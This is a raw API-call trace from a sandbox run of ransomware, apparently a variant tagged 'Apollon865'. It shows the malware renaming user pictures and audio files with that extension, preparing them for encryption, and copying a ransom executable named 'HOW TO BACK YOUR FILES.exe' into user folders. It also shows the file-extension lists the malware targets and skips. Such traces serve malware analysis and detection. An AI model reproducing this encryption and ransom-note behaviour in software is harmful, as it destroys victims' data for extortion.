	[0087.592] lstrcmpiW (lpString1="zNLQd.gif", lpString2=".ini") returned 1
	[0087.592] lstrlenW (lpString=".sys") returned 4
	[0087.592] lstrcmpiW (lpString1="zNLQd.gif", lpString2=".sys") returned 1
	[0087.592] lstrlenW (lpString="zNLQd.gif") returned 9
	[0087.592] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\zNLQd.gif.Apollon865") returned 69
	[0087.592] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\zNLQd.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\znlqd.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\zNLQd.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\znlqd.gif.apollon865"), dwFlags=0x1) returned 1
	[0087.594] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\zNLQd.gif.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\znlqd.gif.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.594] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=90499) returned 1
	[0087.594] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.595] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.595] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.595] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16490, lpName=0x0) returned 0x15c
	[0087.595] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16490) returned 0x120000
	[0087.598] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.600] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.600] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.603] lstrcpyW (in: lpString1=0x119e66a, lpString2="_MjfMjPlYk-Z.bmp" | out: lpString1="_MjfMjPlYk-Z.bmp") returned="_MjfMjPlYk-Z.bmp"
	[0087.603] lstrlenW (lpString="_MjfMjPlYk-Z.bmp") returned 16
	[0087.603] lstrlenW (lpString="Apollon865") returned 10
	[0087.603] lstrcmpiW (lpString1="PlYk-Z.bmp", lpString2="Apollon865") returned 1
	[0087.603] lstrlenW (lpString=".dll") returned 4
	[0087.603] lstrcmpiW (lpString1="_MjfMjPlYk-Z.bmp", lpString2=".dll") returned 1
	[0087.603] lstrlenW (lpString=".lnk") returned 4
	[0087.603] lstrcmpiW (lpString1="_MjfMjPlYk-Z.bmp", lpString2=".lnk") returned 1
	[0087.603] lstrlenW (lpString=".ini") returned 4
	[0087.603] lstrcmpiW (lpString1="_MjfMjPlYk-Z.bmp", lpString2=".ini") returned 1
	[0087.603] lstrlenW (lpString=".sys") returned 4
	[0087.603] lstrcmpiW (lpString1="_MjfMjPlYk-Z.bmp", lpString2=".sys") returned 1
	[0087.603] lstrlenW (lpString="_MjfMjPlYk-Z.bmp") returned 16
	[0087.604] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\_MjfMjPlYk-Z.bmp.Apollon865") returned 76
	[0087.604] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\_MjfMjPlYk-Z.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\_mjfmjplyk-z.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\_MjfMjPlYk-Z.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\_mjfmjplyk-z.bmp.apollon865"), dwFlags=0x1) returned 1
	[0087.608] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\_MjfMjPlYk-Z.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\_mjfmjplyk-z.bmp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.608] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=11771) returned 1
	[0087.608] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.609] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.609] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.609] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3100, lpName=0x0) returned 0x15c
	[0087.610] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3100) returned 0x100000
	[0087.611] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.612] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.612] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.615] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood"
	[0087.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcbc8 | out: hHeap=0x580000) returned 1
	[0087.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0087.615] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned 37
	[0087.615] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood"
	[0087.615] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.615] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.616] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.617] GetLastError () returned 0x0
	[0087.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.617] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.617] CloseHandle (hObject=0x10c) returned 1
	[0087.617] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.617] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.617] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb9a94a0, ftCreationTime.dwHighDateTime=0x1d4c865, ftLastAccessTime.dwLowDateTime=0x29c554c0, ftLastAccessTime.dwHighDateTime=0x1d4c83f, ftLastWriteTime.dwLowDateTime=0x29c554c0, ftLastWriteTime.dwHighDateTime=0x1d4c83f, nFileSizeHigh=0x0, nFileSizeLow=0x2dfb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_MjfMjPlYk-Z.bmp", cAlternateFileName="_MJFMJ~1.BMP")) returned 0xffffffff
	[0087.617] GetLastError () returned 0x5
	[0087.617] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\* FindFirstFile error 5\r\n") returned 71
	[0087.617] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\* FindFirstFile error 5\r\n") returned 71
	[0087.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.617] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x65ad
	[0087.618] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x47, lpOverlapped=0x0) returned 1
	[0087.618] CloseHandle (hObject=0x10c) returned 1
	[0087.618] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ad0
	[0087.618] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents"
	[0087.618] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0087.618] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0087.618] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned 42
	[0087.618] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents"
	[0087.618] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.618] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.619] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.619] GetLastError () returned 0x0
	[0087.619] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.619] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.620] CloseHandle (hObject=0x10c) returned 1
	[0087.620] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.620] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.620] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb9a94a0, ftCreationTime.dwHighDateTime=0x1d4c865, ftLastAccessTime.dwLowDateTime=0x29c554c0, ftLastAccessTime.dwHighDateTime=0x1d4c83f, ftLastWriteTime.dwLowDateTime=0x29c554c0, ftLastWriteTime.dwHighDateTime=0x1d4c83f, nFileSizeHigh=0x0, nFileSizeLow=0x2dfb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_MjfMjPlYk-Z.bmp", cAlternateFileName="_MJFMJ~1.BMP")) returned 0xffffffff
	[0087.620] GetLastError () returned 0x5
	[0087.620] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\* FindFirstFile error 5\r\n") returned 76
	[0087.620] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\* FindFirstFile error 5\r\n") returned 76
	[0087.620] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.620] SetFilePointer (in: hFile=0x10c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x65f4
	[0087.620] WriteFile (in: hFile=0x10c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x4c, lpOverlapped=0x0) returned 1
	[0087.620] CloseHandle (hObject=0x10c) returned 1
	[0087.621] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0087.621] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music"
	[0087.621] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf78 | out: hHeap=0x580000) returned 1
	[0087.621] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0087.621] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 35
	[0087.621] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music"
	[0087.621] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.621] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.621] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.621] GetLastError () returned 0x0
	[0087.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.622] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.622] CloseHandle (hObject=0x10c) returned 1
	[0087.622] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.622] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30304150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0087.622] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.622] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0087.622] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0087.622] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30304150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.622] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.622] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0087.622] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0087.622] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0087.622] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd501270, ftCreationTime.dwHighDateTime=0x1d4ca23, ftLastAccessTime.dwLowDateTime=0xaeaa6bc0, ftLastAccessTime.dwHighDateTime=0x1d4d36c, ftLastWriteTime.dwLowDateTime=0xaeaa6bc0, ftLastWriteTime.dwHighDateTime=0x1d4d36c, nFileSizeHigh=0x0, nFileSizeLow=0xdc8f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aimL5n1QruhhhoVz9.wav", cAlternateFileName="AIML5N~1.WAV")) returned 1
	[0087.622] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.622] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="Apollon865.txt.exe") returned -1
	[0087.622] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2=".") returned 1
	[0087.622] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="..") returned 1
	[0087.622] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="windows") returned -1
	[0087.622] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="bootmgr") returned -1
	[0087.623] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="temp") returned -1
	[0087.623] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="pagefile.sys") returned -1
	[0087.623] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="boot") returned -1
	[0087.623] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="ids.txt") returned -1
	[0087.623] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="ntuser.dat") returned -1
	[0087.623] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="perflogs") returned -1
	[0087.623] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2="MSBuild") returned -1
	[0087.623] lstrlenW (lpString="aimL5n1QruhhhoVz9.wav") returned 21
	[0087.623] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*") returned 37
	[0087.623] lstrcpyW (in: lpString1=0x119e650, lpString2="aimL5n1QruhhhoVz9.wav" | out: lpString1="aimL5n1QruhhhoVz9.wav") returned="aimL5n1QruhhhoVz9.wav"
	[0087.623] lstrlenW (lpString="aimL5n1QruhhhoVz9.wav") returned 21
	[0087.623] lstrlenW (lpString="Apollon865") returned 10
	[0087.623] lstrcmpiW (lpString1="hhoVz9.wav", lpString2="Apollon865") returned 1
	[0087.623] lstrlenW (lpString=".dll") returned 4
	[0087.623] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2=".dll") returned 1
	[0087.623] lstrlenW (lpString=".lnk") returned 4
	[0087.623] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2=".lnk") returned 1
	[0087.623] lstrlenW (lpString=".ini") returned 4
	[0087.623] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2=".ini") returned 1
	[0087.623] lstrlenW (lpString=".sys") returned 4
	[0087.623] lstrcmpiW (lpString1="aimL5n1QruhhhoVz9.wav", lpString2=".sys") returned 1
	[0087.623] lstrlenW (lpString="aimL5n1QruhhhoVz9.wav") returned 21
	[0087.623] lstrlenW (lpString="bak") returned 3
	[0087.623] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0087.623] lstrlenW (lpString="ba_") returned 3
	[0087.623] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0087.623] lstrlenW (lpString="dbb") returned 3
	[0087.623] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0087.623] lstrlenW (lpString="vmdk") returned 4
	[0087.623] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0087.623] lstrlenW (lpString="rar") returned 3
	[0087.623] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0087.623] lstrlenW (lpString="zip") returned 3
	[0087.623] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0087.623] lstrlenW (lpString="tgz") returned 3
	[0087.624] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0087.624] lstrlenW (lpString="vbox") returned 4
	[0087.624] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0087.624] lstrlenW (lpString="vdi") returned 3
	[0087.624] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0087.624] lstrlenW (lpString="vhd") returned 3
	[0087.624] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0087.624] lstrlenW (lpString="vhdx") returned 4
	[0087.624] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0087.624] lstrlenW (lpString="avhd") returned 4
	[0087.624] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0087.624] lstrlenW (lpString="db") returned 2
	[0087.624] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0087.624] lstrlenW (lpString="db2") returned 3
	[0087.624] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0087.624] lstrlenW (lpString="db3") returned 3
	[0087.624] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0087.624] lstrlenW (lpString="dbf") returned 3
	[0087.624] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0087.624] lstrlenW (lpString="mdf") returned 3
	[0087.624] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0087.624] lstrlenW (lpString="mdb") returned 3
	[0087.624] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0087.624] lstrlenW (lpString="sql") returned 3
	[0087.624] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0087.624] lstrlenW (lpString="sqlite") returned 6
	[0087.624] lstrcmpiW (lpString1="z9.wav", lpString2="sqlite") returned 1
	[0087.624] lstrlenW (lpString="sqlite3") returned 7
	[0087.624] lstrcmpiW (lpString1="Vz9.wav", lpString2="sqlite3") returned 1
	[0087.624] lstrlenW (lpString="sqlitedb") returned 8
	[0087.625] lstrcmpiW (lpString1="oVz9.wav", lpString2="sqlitedb") returned -1
	[0087.625] lstrlenW (lpString="xml") returned 3
	[0087.625] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0087.625] lstrlenW (lpString="$er") returned 3
	[0087.625] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0087.625] lstrlenW (lpString="4dd") returned 3
	[0087.625] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0087.625] lstrlenW (lpString="4dl") returned 3
	[0087.625] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0087.625] lstrlenW (lpString="^^^") returned 3
	[0087.625] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0087.625] lstrlenW (lpString="abs") returned 3
	[0087.625] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0087.625] lstrlenW (lpString="abx") returned 3
	[0087.625] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0087.625] lstrlenW (lpString="accdb") returned 5
	[0087.625] lstrcmpiW (lpString1="9.wav", lpString2="accdb") returned -1
	[0087.625] lstrlenW (lpString="accdc") returned 5
	[0087.625] lstrcmpiW (lpString1="9.wav", lpString2="accdc") returned -1
	[0087.625] lstrlenW (lpString="accde") returned 5
	[0087.625] lstrcmpiW (lpString1="9.wav", lpString2="accde") returned -1
	[0087.625] lstrlenW (lpString="accdr") returned 5
	[0087.625] lstrcmpiW (lpString1="9.wav", lpString2="accdr") returned -1
	[0087.625] lstrlenW (lpString="accdt") returned 5
	[0087.625] lstrcmpiW (lpString1="9.wav", lpString2="accdt") returned -1
	[0087.625] lstrlenW (lpString="accdw") returned 5
	[0087.625] lstrcmpiW (lpString1="9.wav", lpString2="accdw") returned -1
	[0087.625] lstrlenW (lpString="accft") returned 5
	[0087.625] lstrcmpiW (lpString1="9.wav", lpString2="accft") returned -1
	[0087.625] lstrlenW (lpString="adb") returned 3
	[0087.625] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0087.626] lstrlenW (lpString="adb") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0087.626] lstrlenW (lpString="ade") returned 3
	[0087.626] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0087.626] lstrlenW (lpString="adf") returned 3
